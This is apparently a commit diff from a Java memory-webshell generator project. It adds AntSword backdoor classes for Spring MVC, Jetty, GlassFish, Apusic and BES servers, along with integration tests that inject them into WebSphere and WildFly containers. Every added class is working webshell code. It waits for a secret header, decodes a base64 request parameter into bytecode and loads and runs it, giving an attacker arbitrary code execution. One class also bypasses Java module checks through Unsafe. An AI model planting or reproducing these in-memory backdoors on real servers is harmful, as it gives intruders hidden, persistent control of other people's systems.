arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+5
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.integration.websphere;
|
||||
package com.reajason.javaweb.integration.websphere7;
|
||||
|
||||
import com.reajason.javaweb.memshell.WebSphereShell;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
@@ -49,14 +49,18 @@ public class WebSphere700ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
+4
@@ -47,14 +47,18 @@ public class Wildfly18ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+4
@@ -47,14 +47,18 @@ public class Wildfly23ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+7
@@ -54,6 +54,8 @@ public class Wildfly9ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -62,6 +64,8 @@ public class Wildfly9ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -70,6 +74,9 @@ public class Wildfly9ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
// arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar)
|
||||
|
||||
+62
@@ -0,0 +1,62 @@
|
||||
package com.reajason.javaweb.memshell.springwebmvc.antsword;
|
||||
|
||||
import org.springframework.web.servlet.ModelAndView;
|
||||
import org.springframework.web.servlet.mvc.Controller;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordControllerHandler extends ClassLoader implements Controller {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public AntSwordControllerHandler(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
|
||||
public AntSwordControllerHandler() {
|
||||
}
|
||||
|
||||
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
try {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordControllerHandler(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
}
|
||||
+80
@@ -0,0 +1,80 @@
|
||||
package com.reajason.javaweb.memshell.springwebmvc.antsword;
|
||||
|
||||
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
||||
import org.springframework.web.servlet.ModelAndView;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public AntSwordInterceptor(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
|
||||
public AntSwordInterceptor() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
try {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordInterceptor(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
} else {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
|
||||
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||
|
||||
}
|
||||
}
|
||||
+62
@@ -0,0 +1,62 @@
|
||||
package com.reajason.javaweb.memshell.springwebmvc.antsword;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordServletAdvisor {
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.Argument(value = 0) Object request,
|
||||
@Advice.Argument(value = 1) Object response,
|
||||
@Advice.Origin Class<?> targetClazz
|
||||
) {
|
||||
String pass = "pass";
|
||||
String headerName = "headerName";
|
||||
String headerValue = "headerValue";
|
||||
try {
|
||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
Object unsafe = unsafeField.get(null);
|
||||
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
||||
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
||||
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||
Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||
getAndSetObjectM.invoke(unsafe, targetClazz, offset, module);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null
|
||||
&& value.contains(headerValue)) {
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
||||
Object instance = payload.newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
+92
@@ -0,0 +1,92 @@
|
||||
package com.reajason.javaweb.memshell.apusic.antsword;
|
||||
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public AntSwordListener() {
|
||||
}
|
||||
|
||||
public AntSwordListener(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public Class<?> g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = getResponseFromRequest(request);
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
return (HttpServletResponse) getFieldValue(getFieldValue(request, "parameters"), "response");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
package com.reajason.javaweb.memshell.bes.antsword;
|
||||
|
||||
import com.bes.enterprise.webtier.Valve;
|
||||
import com.bes.enterprise.webtier.connector.Request;
|
||||
import com.bes.enterprise.webtier.connector.Response;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordValve extends ClassLoader implements Valve {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
public AntSwordValve() {
|
||||
}
|
||||
|
||||
public AntSwordValve(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return this.next;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setNext(Valve valve) {
|
||||
this.next = valve;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isAsyncSupported() {
|
||||
return this.asyncSupported;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
} else {
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
}
|
||||
}
|
||||
+103
@@ -0,0 +1,103 @@
|
||||
package com.reajason.javaweb.memshell.glassfish.antsword;
|
||||
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public AntSwordListener() {
|
||||
}
|
||||
|
||||
public AntSwordListener(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public Class<?> g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = getResponseFromRequest(request);
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(request, "response");
|
||||
} catch (Exception ee) {
|
||||
// glassfish7
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response");
|
||||
}
|
||||
}
|
||||
return response;
|
||||
}
|
||||
}
|
||||
+50
@@ -0,0 +1,50 @@
|
||||
package com.reajason.javaweb.memshell.jetty.antsword;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class AntSwordHandlerAdvisor {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.Argument(value = 1) Object baseRequest,
|
||||
@Advice.Argument(value = 2) Object request,
|
||||
@Advice.Argument(value = 3) Object response
|
||||
) {
|
||||
String pass = "pass";
|
||||
String headerName = "headerName";
|
||||
String headerValue = "headerValue";
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null
|
||||
&& value.contains(headerValue)) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
||||
Object instance = payload.newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
+98
@@ -0,0 +1,98 @@
|
||||
package com.reajason.javaweb.memshell.jetty.antsword;
|
||||
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public AntSwordListener() {
|
||||
}
|
||||
|
||||
public AntSwordListener(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
